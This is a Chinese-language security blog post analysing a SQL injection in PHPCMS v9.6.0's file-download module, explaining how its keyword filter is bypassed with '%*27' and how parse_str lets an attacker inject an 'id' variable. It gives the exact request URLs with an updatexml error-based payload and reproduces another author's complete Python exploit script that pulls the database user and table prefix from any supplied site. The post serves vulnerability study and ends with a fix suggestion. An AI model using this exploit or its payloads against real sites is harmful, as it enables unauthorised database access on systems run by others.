HeartSky's blog


在渗透之路上渐行渐远


phpcms v9.6.0 sql injection under files download

一早起来就看到群里在传 phpcms 的洞,于是自己也去看了下,因为自己也是刚入门代码审计,所以会尽量讲的详细一点

背景介绍

PHPCMS V9(后面简称V9)采用PHP5+MYSQL做为技术基础进行开发。V9采用OOP(面向对象)方式进行基础运行框架搭建。模块化开发方式做为功能开发形式。框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求。 5年开发经验的优秀团队,在掌握了丰富的WEB开发经验和CMS产品开发经验的同时,勇于创新追求完美的设计理念,为全球多达10万网站提供助力,并被更多的政府机构、教育机构、事业单位、商业企业、个人站长所认可。

去官网看了下,貌似最后一次更新是在 2015 年 ==

漏洞分析

漏洞开始

phpcms/modules/admin/index.php 下的 swfupload_json 函数

我们可以看到 241 行提交的 src 变量经过了 safe_replace 函数,猜测是一个过滤关键字的函数,我们跟进它来看下

过滤函数

phpcms/libs/functions/global.func.php 下的 safe_replace 函数

哇 兴奋至极,关键字替换为空的过滤都是假老虎!
我们可以看到对单引号 url 编码后的 %27 以及二次编码后的 %2527 都进行了替换,其实我们只要用 %*27 或 %;27 就可以绕过了,首先匹配单引号及其 url 编码,这时候是匹配不到的,下面匹配到 * 或者 ; 的时候替换为空,成功构造 %27,这样我们就可以闭合 sql语句(如果有的话) 的单引号了

我们知道在 swfupload_json 函数里创建了一个 xxx_att_json 的 cookie,下面我们就来找下哪个地方用到了这个 cookie

变量传递

phpcms/modules/content/down.php 下的 init 函数

我们注意到

1
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

经过把生成的 xxx_att_json 的值赋值给$a_k,发现得到下面的值 {“aid”:1,”src”:”2”,”filename”:”3”}
也就是说这一步是对 json 进行解码

值得注意的是下面的 parse_str 函数,经过查询,得知此函数的功能是将字符串解析成多个变量,以 & 分隔,然后下面还有一个 sql 查询语句

1
$rs = $this->db->get_one(array('id'=>$id));

变量 id 当 变量 i 不存在时它也是不存在的
safe_replace 函数没有对 & 及其 URL 编码进行过滤,如果我们用 & 进行分隔,"src":"1&id=2",这样就可以成功解析出变量 i 了。第 19、20、21行要求变量 m、modelid、catid 以及 f 存在,和上面类似,只要用 & 分隔,就可以成功解析出相关变量了。进入 sql 查询,id 用报错注入即可成功实现注入

注入过程

  • 身份认证
    请求 /index.php?m=wap&a=index 得到 cookie 里的 xxxxx_siteid

  • 获取 json 数据
    带着上面的 cookie 和自己生成的名为 xxxxx__userid 的 cookie(和上一个 cookie 的值相同)请求 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml(1,concat(0x7e,(database())),1)%23%26m=1%26f=2%26modelid=3%26catid=6&filename=3,得到 json 数据

  • 注入
    请求 /index.php?m=content&c=down&a=init&a_k=[json数据]

    顺便打印出来 json 数据 {"aid":1,"src":"&id=%27 and updatexml(1,concat(0x7e,(user())),1)#&m=1&f=wobushou&modelid=2&catid=6","filename":""}
    这下应该更容易明白了,parse_str函数操作的就是上面的字符串,以 & 分隔来解析变量,下面用于查询的 id 就是 %27 and updatexml(1,concat(0x7e,(user())),1)#

附一份别人的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests,sys,urllib

url = sys.argv[1]
print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'
sqli_prefix = '%*27 and'
sqli_info = ' updatexml(1,concat(0x7e,(user())),1)'
sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'
setp1 = url + '/index.php?m=wap&a=index'
cookies = {}
for c in requests.get(setp1).cookies:
if c.name[-7:] == '_siteid':
cookie_head = c.name[:6]
cookies[cookie_head+'_userid'] = c.value
cookies[c.name] = c.value
print '[+] Get Cookie : ' + str(cookies)

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding
for c in requests.get(setp2,cookies=cookies).cookies:
if c.name[-9:] == '_att_json':
print c.value
sqli_payload = c.value
print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload
html = requests.get(setp3,cookies=cookies).content
print '[+] Get SQLi Output : ' + str(html.split('<br />')[1])
table_prefix = html[html.find('_download_data')-2:html.find('_download_data')]
print '[+] Get Table Prefix : ' + table_prefix

总结

我们可以看出问题的关键在于两个地方,一个是过滤函数的问题,修补建议为对关键字的过滤不要替换为空,可以改成 _ 之类的,另一个是 parse_str 这个函数要合理使用,使用不当会造成问题

听说还有一个任意文件上传的漏洞?